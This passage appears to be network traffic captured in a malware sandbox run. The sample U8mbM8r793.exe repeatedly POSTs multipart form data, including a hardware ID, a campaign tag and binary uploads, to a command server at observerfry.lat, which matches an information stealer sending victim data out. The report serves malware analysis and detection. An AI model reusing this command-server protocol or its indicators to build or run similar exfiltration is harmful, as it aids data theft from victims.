cfL4;desc="?proto=TCP&rtt=1764&min_rtt=1763&rtt_var=665&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=946&delivery_rate=1642294&cwnd=249&unsent_bytes=0&cid=a2bc9608b041e49a&ts=1071&x=0"
2024-12-23 06:52:29 UTC	247	IN	Data Raw: 34 39 31 63 0d 0a 36 4b 49 6d 48 74 6d 79 76 77 59 62 6f 41 45 43 69 71 74 49 31 4c 65 2b 43 47 7a 4c 54 79 39 67 70 52 77 4e 51 41 33 6b 36 52 36 54 67 46 41 38 34 34 61 54 4a 47 6a 46 49 7a 6a 2b 32 54 32 78 6d 35 78 70 43 4f 6c 31 53 51 48 4a 62 32 68 73 4c 35 4b 45 50 4e 4c 45 52 33 4b 71 31 35 4d 6b 66 74 67 6a 4f 4e 48 51 61 72 48 5a 6e 44 4a 4f 72 69 56 4e 41 63 6c 2b 62 43 74 69 6c 49 56 39 67 4d 35 42 64 72 7a 52 32 32 64 33 7a 57 52 6e 37 38 6f 69 75 74 37 54 59 41 48 70 59 77 30 46 33 7a 34 33 59 6b 43 42 6e 58 2b 6c 77 31 56 31 2b 38 2b 54 66 54 6e 46 62 79 43 77 69 53 6d 78 31 64 4a 75 43 4b 41 6e 52 77 6a 42 66 32 6b 71 66 59 32 50 64 6f 44 41 51 6e 65 32 32 4d 39 71 66 63 70 76 59 65 58 4b 61 76 69 56 32 33 4a 4f 38 Data Ascii: 491c6KImHtmyvwYboAECiqtI1Le+CGzLTy9gpRwNQA3k6R6TgFA844aTJGjFIzj+2T2xm5xpCOl1SQHJb2hsL5KEPNLER3Kq15MkftgjONHQarHZnDJOriVNAcl+bCtilIV9gM5BdrzR22d3zWRn78oiut7TYAHpYw0F3z43YkCBnX+lw1V1+8+TfTnFbyCwiSmx1dJuCKAnRwjBf2kqfY2PdoDAQne22M9qfcpvYeXKaviV23JO8
2024-12-23 06:52:29 UTC	1369	IN	Data Raw: 57 30 65 4d 4d 52 76 66 6a 64 69 6c 6f 30 38 6c 59 35 64 50 4c 7a 63 6e 54 77 35 79 6d 39 75 37 63 6f 6c 73 64 54 63 65 41 47 70 4c 6b 55 4b 77 33 52 67 4c 57 43 49 67 58 75 43 79 55 4e 7a 76 4e 6a 62 61 33 71 43 4c 53 44 76 30 57 72 75 6c 66 78 36 44 61 6f 35 51 42 4f 48 59 53 45 37 4c 34 47 48 50 4e 4b 41 51 6e 4b 36 33 64 31 32 63 63 6c 6f 5a 66 72 43 49 37 76 59 33 47 63 45 70 69 35 4e 42 63 31 30 59 43 68 72 69 34 5a 36 69 73 41 45 4d 76 76 58 78 53 51 68 67 6b 42 6c 2b 4d 34 6d 6f 4a 66 6d 4b 68 48 6e 4e 41 30 46 79 7a 34 33 59 6d 65 44 69 48 2b 42 7a 30 64 30 73 4d 4c 64 64 6e 2f 50 5a 6e 4c 75 7a 43 53 38 31 73 35 67 41 4b 38 75 52 41 6e 4f 65 32 67 6d 4c 38 6a 4c 65 35 4b 41 48 44 79 61 33 64 5a 6f 63 39 56 6a 49 50 65 48 4d 2f 62 53 30 43 70 57 Data Ascii: W0eMMRvfjdilo08lY5dPLzcnTw5ym9u7colsdTceAGpLkUKw3RgLWCIgXuCyUNzvNjba3qCLSDv0Wrulfx6Dao5QBOHYSE7L4GHPNKAQnK63d12ccloZfrCI7vY3GcEpi5NBc10YChri4Z6isAEMvvXxSQhgkBl+M4moJfmKhHnNA0Fyz43YmeDiH+Bz0d0sMLddn/PZnLuzCS81s5gAK8uRAnOe2gmL8jLe5KAHDya3dZoc9VjIPeHM/bS0CpW
2024-12-23 06:52:29 UTC	1369	IN	Data Raw: 36 48 4d 43 38 6c 64 38 62 54 50 4b 44 44 55 48 2b 78 6b 75 68 6e 64 38 78 6b 64 71 6a 57 5a 4b 2b 56 32 32 5a 4f 38 57 31 41 41 38 39 34 66 53 31 69 68 59 56 79 68 63 56 4c 64 4c 76 51 30 47 46 39 79 57 68 6a 35 63 30 34 76 4e 58 55 62 77 2b 6a 4a 77 31 4d 68 33 6c 33 59 6a 66 47 75 6d 75 42 67 6e 46 2f 74 64 37 61 63 6a 6e 64 4c 58 6d 6f 7a 69 62 32 6a 5a 78 6e 42 71 77 6f 51 67 50 4e 63 47 6f 6f 59 34 36 46 66 35 6a 50 51 48 79 33 32 4e 64 70 64 38 5a 72 61 65 50 43 4c 4c 62 55 31 69 70 41 36 53 70 56 51 70 38 2b 57 79 56 6a 69 34 51 2b 76 38 4e 4b 63 72 7a 47 6e 58 73 33 32 79 4e 6e 35 49 6c 79 39 74 6e 56 61 67 57 6a 4b 55 30 46 79 6e 74 73 4a 57 79 4c 6a 48 61 45 78 30 42 77 73 74 33 62 5a 48 37 47 5a 6e 4c 74 77 43 61 36 6c 5a 49 71 43 62 46 74 46 Data Ascii: 6HMC8ld8bTPKDDUH+xkuhnd8xkdqjWZK+V22ZO8W1AA894fS1ihYVyhcVLdLvQ0GF9yWhj5c04vNXUbw+jJw1Mh3l3YjfGumuBgnF/td7acjndLXmozib2jZxnBqwoQgPNcGooY46Ff5jPQHy32Ndpd8ZraePCLLbU1ipA6SpVQp8+WyVji4Q+v8NKcrzGnXs32yNn5Ily9tnVagWjKU0FyntsJWyLjHaEx0Bwst3bZH7GZnLtwCa6lZIqCbFtF
2024-12-23 06:52:29 UTC	1369	IN	Data Raw: 6a 59 6a 66 47 67 6e 57 59 7a 6b 70 31 74 74 62 56 59 33 66 50 61 47 62 6a 7a 69 32 77 32 4e 52 6e 43 36 6f 73 53 51 6a 56 66 57 51 6f 59 6f 7a 4c 4d 73 72 48 58 44 7a 6a 6b 50 70 6f 55 4e 4a 34 63 76 36 4a 4e 66 6a 4d 6e 47 30 43 36 58 55 4e 41 63 68 33 59 43 70 6e 69 59 52 34 68 4d 5a 43 63 62 37 66 31 33 5a 78 7a 47 35 72 35 38 49 34 74 74 6a 59 5a 67 71 68 4a 6b 64 43 69 54 35 6f 4f 69 2f 65 79 30 6d 48 7a 30 52 2f 72 5a 44 43 4b 6d 43 43 5a 47 79 6f 6b 57 71 36 32 39 78 6c 41 71 55 6d 52 51 50 4c 63 47 67 6e 5a 6f 36 44 62 6f 76 45 54 48 32 31 33 39 78 67 66 4d 64 6e 5a 2b 7a 50 4a 66 61 62 6e 47 30 57 36 58 55 4e 4c 65 42 4c 4c 51 4e 56 78 70 51 79 6b 34 42 44 63 50 75 49 6e 57 68 36 7a 6d 74 76 37 73 41 6d 76 4e 7a 58 5a 67 57 74 49 55 51 48 77 58 Data Ascii: jYjfGgnWYzkp1ttbVY3fPaGbjzi2w2NRnC6osSQjVfWQoYozLMsrHXDzjkPpoUNJ4cv6JNfjMnG0C6XUNAch3YCpniYR4hMZCcb7f13ZxzG5r58I4ttjYZgqhJkdCiT5oOi/ey0mHz0R/rZDCKmCCZGyokWq629xlAqUmRQPLcGgnZo6DbovETH2139xgfMdnZ+zPJfabnG0W6XUNLeBLLQNVxpQyk4BDcPuInWh6zmtv7sAmvNzXZgWtIUQHwX
2024-12-23 06:52:29 UTC	1369	IN	Data Raw: 6c 49 78 31 6d 4d 35 4a 63 37 50 59 31 47 56 39 78 32 35 6d 35 4d 4d 72 73 64 76 53 59 6b 37 6e 62 55 6f 61 68 79 59 76 41 33 2b 64 6d 57 71 48 34 55 6c 7a 2b 38 2b 54 66 54 6e 46 62 79 43 77 69 53 4f 6b 30 64 46 34 42 36 34 6a 51 67 48 56 66 32 49 70 66 59 47 45 65 49 33 4d 51 6e 4f 39 30 64 68 75 64 63 56 6d 61 2b 66 46 61 76 69 56 32 33 4a 4f 38 57 31 6a 43 64 52 70 62 43 78 6b 6b 4a 41 38 6c 59 35 64 50 4c 7a 63 6e 54 77 35 77 57 68 72 37 4d 6b 6d 74 74 48 52 61 68 79 6d 4b 6b 6f 4c 7a 47 78 6c 4a 57 69 4e 67 33 65 46 78 6c 5a 77 74 63 4c 59 64 6d 75 43 4c 53 44 76 30 57 72 75 6c 65 70 74 48 72 6b 75 44 7a 50 52 66 58 6b 70 59 6f 72 4c 59 38 54 5a 42 48 75 33 6b 49 55 6b 66 38 31 71 59 2b 66 49 49 37 72 59 32 57 4d 4c 71 43 74 4a 43 4d 31 2b 61 53 52 Data Ascii: lIx1mM5Jc7PY1GV9x25m5MMrsdvSYk7nbUoahyYvA3+dmWqH4Ulz+8+TfTnFbyCwiSOk0dF4B64jQgHVf2IpfYGEeI3MQnO90dhudcVma+fFaviV23JO8W1jCdRpbCxkkJA8lY5dPLzcnTw5wWhr7MkmttHRahymKkoLzGxlJWiNg3eFxlZwtcLYdmuCLSDv0WruleptHrkuDzPRfXkpYorLY8TZBHu3kIUkf81qY+fII7rY2WMLqCtJCM1+aSR
2024-12-23 06:52:29 UTC	1369	IN	Data Raw: 63 72 48 53 44 7a 6a 6b 4e 35 6a 65 73 4e 70 61 65 54 47 4c 62 4c 48 31 6d 30 63 71 43 78 47 44 38 74 2b 59 69 39 6c 68 34 4a 78 68 73 31 44 65 37 54 56 6e 53 6f 35 78 58 73 67 73 49 6b 4c 75 39 37 51 4d 56 54 70 4d 67 4d 62 68 33 6c 6a 59 6a 66 47 69 33 61 50 79 6b 6c 2f 74 4e 50 50 5a 58 2f 51 59 32 33 69 32 79 43 39 30 4e 46 6e 41 36 6f 72 53 77 6e 4c 62 47 59 69 62 49 33 4c 4d 73 72 48 58 44 7a 6a 6b 50 35 7a 62 38 68 6b 62 50 37 43 4b 37 58 44 30 58 70 4f 35 32 31 63 42 64 59 2b 4e 7a 52 2f 6b 59 78 6a 78 4e 6b 45 65 37 65 51 68 53 52 2f 79 32 56 6e 37 73 63 34 73 39 50 54 5a 51 65 67 4b 55 55 42 78 33 70 72 4a 57 71 46 68 33 65 4e 77 30 74 34 73 74 37 55 61 7a 6d 4d 49 32 66 77 69 58 4c 32 39 4d 64 70 41 71 52 74 55 6b 7a 65 50 6d 67 75 4c 39 37 4c Data Ascii: crHSDzjkN5jesNpaeTGLbLH1m0cqCxGD8t+Yi9lh4Jxhs1De7TVnSo5xXsgsIkLu97QMVTpMgMbh3ljYjfGi3aPykl/tNPPZX/QY23i2yC90NFnA6orSwnLbGYibI3LMsrHXDzjkP5zb8hkbP7CK7XD0XpO521cBdY+NzR/kYxjxNkEe7eQhSR/y2Vn7sc4s9PTZQegKUUBx3prJWqFh3eNw0t4st7UazmMI2fwiXL29MdpAqRtUkzePmguL97L
2024-12-23 06:52:29 UTC	1369	IN	Data Raw: 52 33 72 64 58 61 63 6a 76 33 59 47 37 6d 7a 6a 7a 32 79 75 4d 6b 54 71 59 33 44 56 72 2b 5a 79 38 6c 59 38 62 54 50 4a 2f 48 52 48 75 68 78 74 70 6f 61 4d 6c 75 62 4d 72 47 4c 61 44 57 30 32 6b 66 6f 47 46 47 44 34 63 77 4c 79 56 33 78 74 4d 38 70 63 64 53 66 35 54 54 7a 47 30 35 6a 43 4e 6e 2f 6f 6c 79 39 75 75 63 65 41 32 35 4c 6b 49 54 2b 54 34 33 4f 31 48 47 67 47 71 4e 30 45 64 71 73 4e 33 52 64 55 65 43 4f 7a 53 36 6d 33 6a 6b 68 38 4d 71 45 5a 5a 6a 44 51 4f 48 4a 6c 59 37 4c 35 44 4c 4a 4e 69 4f 42 47 37 37 69 4a 30 6a 65 74 42 78 5a 75 76 66 4b 66 48 72 34 6b 30 59 6f 79 70 64 42 64 42 78 4c 32 77 76 69 63 73 6b 73 34 42 4e 65 36 44 42 79 32 6c 70 78 53 4e 66 70 6f 6b 79 39 6f 32 63 58 77 32 6e 49 30 6f 55 31 6a 4e 49 4e 47 57 42 6d 33 75 64 7a Data Ascii: R3rdXacjv3YG7mzjz2yuMkTqY3DVr+Zy8lY8bTPJ/HRHuhxtpoaMlubMrGLaDW02kfoGFGD4cwLyV3xtM8pcdSf5TTzG05jCNn/oly9uuceA25LkIT+T43O1HGgGqN0EdqsN3RdUeCOzS6m3jkh8MqEZZjDQOHJlY7L5DLJNiOBG77iJ0jetBxZuvfKfHr4k0YoypdBdBxL2wvicsks4BNe6DBy2lpxSNfpoky9o2cXw2nI0oU1jNINGWBm3udz
2024-12-23 06:52:29 UTC	1369	IN	Data Raw: 65 31 6d 52 2b 30 6e 56 37 70 4d 45 70 72 4d 2f 69 56 43 57 6c 4b 30 6f 59 77 48 68 4a 41 69 2f 49 79 33 50 4b 6d 48 30 38 38 35 44 69 4b 6a 6e 61 49 7a 69 6f 2f 43 6d 34 32 39 74 38 48 2b 51 46 62 6a 6a 39 50 45 4d 6c 65 73 53 2f 65 35 72 52 54 33 47 33 6b 4a 4d 6b 66 34 49 37 4d 4b 61 4a 4c 71 65 56 68 44 70 63 38 6e 67 65 56 5a 63 73 63 47 78 32 78 70 30 38 30 70 49 4b 50 4b 6d 51 68 53 51 2b 77 58 46 79 37 73 6f 38 74 5a 4c 69 56 43 6d 6e 4b 6b 77 55 31 32 6c 67 48 46 47 54 69 48 4b 45 78 31 4a 74 2b 35 36 64 61 7a 6d 61 57 69 43 67 69 52 58 34 6c 63 51 71 56 75 6b 59 54 67 7a 4a 65 58 6b 7a 49 71 47 46 65 34 76 57 56 47 75 30 6b 4a 4d 6b 66 34 49 37 4d 71 61 4a 4c 71 65 56 68 44 70 63 38 6e 67 65 56 5a 63 73 63 47 78 32 78 70 30 38 30 70 49 4b 50 4b Data Ascii: e1mR+0nV7pMEprM/iVCWlK0oYwHhJAi/Iy3PKmH0885DiKjnaIzio/Cm429t8H+QFbjj9PEMlesS/e5rRT3G3kJMkf4I7MKaJLqeVhDpc8ngeVZcscGx2xp080pIKPKmQhSQ+wXFy7so8tZLiVCmnKkwU12lgHFGTiHKEx1Jt+56dazmaWiCgiRX4lcQqVukYTgzJeXkzIqGFe4vWVGu0kJMkf4I7MqaJLqeVhDpc8ngeVZcscGx2xp080pIKPK
2024-12-23 06:52:29 UTC	1369	IN	Data Raw: 66 74 52 67 49 4b 61 4a 4a 76 61 4e 6e 47 73 45 75 53 42 43 42 59 74 35 64 53 55 76 79 4d 74 79 79 70 67 45 66 62 48 41 30 47 74 2b 6a 6d 56 75 35 6f 6b 31 2b 4d 79 63 66 45 37 78 66 67 4e 43 31 54 34 33 59 69 69 46 6d 57 36 4d 77 31 4a 2f 2f 4f 37 6a 53 57 76 46 63 32 4f 71 2b 43 65 79 77 38 6c 70 48 71 34 54 63 79 2f 56 65 58 38 68 4c 62 65 64 66 34 72 4f 51 7a 7a 31 6b 4d 55 6b 49 59 4a 4f 63 75 2f 5a 4b 66 61 62 6e 47 5a 4f 38 57 31 41 45 4d 42 75 62 47 35 6f 6e 49 77 38 6c 59 35 64 50 4b 32 51 68 54 63 33 67 6e 45 67 73 49 6c 74 75 4e 6a 64 61 51 43 71 50 31 38 45 78 47 68 73 5a 56 47 34 70 6d 36 4e 30 45 63 2b 69 74 33 5a 63 6d 7a 42 63 32 66 57 39 77 65 6b 30 73 78 70 54 49 55 71 51 41 37 35 51 46 67 7a 61 4a 62 4a 57 6f 6e 57 52 7a 7a 31 6b 4d 55 Data Ascii: ftRgIKaJJvaNnGsEuSBCBYt5dSUvyMtyypgEfbHA0Gt+jmVu5ok1+MycfE7xfgNC1T43YiiFmW6Mw1J//O7jSWvFc2Oq+Ceyw8lpHq4Tcy/VeX8hLbedf4rOQzz1kMUkIYJOcu/ZKfabnGZO8W1AEMBubG5onIw8lY5dPK2QhTc3gnEgsIltuNjdaQCqP18ExGhsZVG4pm6N0Ec+it3ZcmzBc2fW9wek0sxpTIUqQA75QFgzaJbJWonWRzz1kMU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49714	172.67.199.72	443	7940	C:\Users\user\Desktop\U8mbM8r793.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:31 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FNO0YP40 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12787 Host: observerfry.lat
2024-12-23 06:52:31 UTC	12787	OUT	Data Raw: 2d 2d 46 4e 4f 30 59 50 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 42 31 35 37 37 33 33 45 35 46 37 34 32 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 4e 4f 30 59 50 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 4e 4f 30 59 50 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 46 4e 4f 30 59 50 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --FNO0YP40Content-Disposition: form-data; name="hwid"12B157733E5F742DAC8923850305D13E--FNO0YP40Content-Disposition: form-data; name="pid"2--FNO0YP40Content-Disposition: form-data; name="lid"PsFKDg--pablo--FNO0YP40Content-Disposit
2024-12-23 06:52:32 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=acto50hh54j58oa5nq2helj88r; expires=Fri, 18 Apr 2025 00:39:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x%2FI10d%2BIdGA%2B3gurGOfo4HL1pxnVOqgjVdfeaGpZYHNAhBvdFNRYI5AJZ4vc1demstNp0otrPuytOKzwEO0RuDiW%2Fl0ElDQ2a2Ov5W7oBL5XXWMOtKAyLntZCMvCY9RiHws%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666de8199142f1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1789&min_rtt=1785&rtt_var=677&sent=13&recv=17&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13716&delivery_rate=1607044&cwnd=210&unsent_bytes=0&cid=4dc90dbb94f8bc27&ts=896&x=0"
2024-12-23 06:52:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:52:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49720	172.67.199.72	443	7940	C:\Users\user\Desktop\U8mbM8r793.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:33 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UCHLBP6AFENRL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15044 Host: observerfry.lat
2024-12-23 06:52:33 UTC	15044	OUT	Data Raw: 2d 2d 55 43 48 4c 42 50 36 41 46 45 4e 52 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 42 31 35 37 37 33 33 45 35 46 37 34 32 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 43 48 4c 42 50 36 41 46 45 4e 52 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 43 48 4c 42 50 36 41 46 45 4e 52 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 55 43 48 4c 42 50 36 41 46 45 4e Data Ascii: --UCHLBP6AFENRLContent-Disposition: form-data; name="hwid"12B157733E5F742DAC8923850305D13E--UCHLBP6AFENRLContent-Disposition: form-data; name="pid"2--UCHLBP6AFENRLContent-Disposition: form-data; name="lid"PsFKDg--pablo--UCHLBP6AFEN
2024-12-23 06:52:34 UTC	1126	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6ui76bm94js3c1unso9veuc75k; expires=Fri, 18 Apr 2025 00:39:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8LOMxrmiezGBna0LeDvmT4wDTfu1nchIQuFUk9E05pjbQtmFz1%2BdpRknan2GpLRrK%2FRBV8uBxsQU49NvoeBRuiO9smQZN9VQ9aSGpC%2FobTDM1Yc8dQF8Ew3G5XAgP60MXbE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666df5d8a8f5f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1463&min_rtt=1447&rtt_var=576&sent=12&recv=21&lost=0&retrans=0&sent_bytes=2835&recv_bytes=15978&delivery_rate=1846932&cwnd=57&unsent_bytes=0&cid=90cd56e3a09f6598&ts=905&x=0"
2024-12-23 06:52:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:52:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49726	172.67.199.72	443	7940	C:\Users\user\Desktop\U8mbM8r793.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:35 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PFP1X7XYEMDLPDJL1L2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: observerfry.lat
2024-12-23 06:52:35 UTC	15331	OUT	Data Raw: 2d 2d 50 46 50 31 58 37 58 59 45 4d 44 4c 50 44 4a 4c 31 4c 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 42 31 35 37 37 33 33 45 35 46 37 34 32 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 46 50 31 58 37 58 59 45 4d 44 4c 50 44 4a 4c 31 4c 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 50 46 50 31 58 37 58 59 45 4d 44 4c 50 44 4a 4c 31 4c 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --PFP1X7XYEMDLPDJL1L2Content-Disposition: form-data; name="hwid"12B157733E5F742DAC8923850305D13E--PFP1X7XYEMDLPDJL1L2Content-Disposition: form-data; name="pid"3--PFP1X7XYEMDLPDJL1L2Content-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-23 06:52:35 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 60 83 eb 8b 82 f9 0d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 70 fd 51 30 bf e1 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0d ae 2f 0a e6 37 fc 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c1 f5 47 c1 fc 86 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b8 be 28 98 df f0 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 d7 1f 05 f3 1b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e0 fa a2 60 7e Data Ascii: `?lpQ0/74G6(~`~
2024-12-23 06:52:36 UTC	1126	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q0to1bms72lmivugqqftcsijo6; expires=Fri, 18 Apr 2025 00:39:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GRvBbQpG4INaoM%2FnSfAKPDrItf4d7sqDUVb4heJWjH3WB3k2KeLooW0ihwXZwVeuMUBw3dw3EdJ6pFvOgGB7gSZMPxm0JFyvUhHduFdcM%2FKTN7rsCpoVhxe0ZAwC4gl%2BtTU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666e045df841d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2108&min_rtt=2101&rtt_var=802&sent=14&recv=25&lost=0&retrans=0&sent_bytes=2835&recv_bytes=21404&delivery_rate=1353732&cwnd=32&unsent_bytes=0&cid=43cbd8ef7f98bba6&ts=954&x=0"
2024-12-23 06:52:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:52:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49737	172.67.199.72	443	7940	C:\Users\user\Desktop\U8mbM8r793.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:38 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Q5P4WTS5SK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1201 Host: observerfry.lat
2024-12-23 06:52:38 UTC	1201	OUT	Data Raw: 2d 2d 51 35 50 34 57 54 53 35 53 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 42 31 35 37 37 33 33 45 35 46 37 34 32 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 51 35 50 34 57 54 53 35 53 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 35 50 34 57 54 53 35 53 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 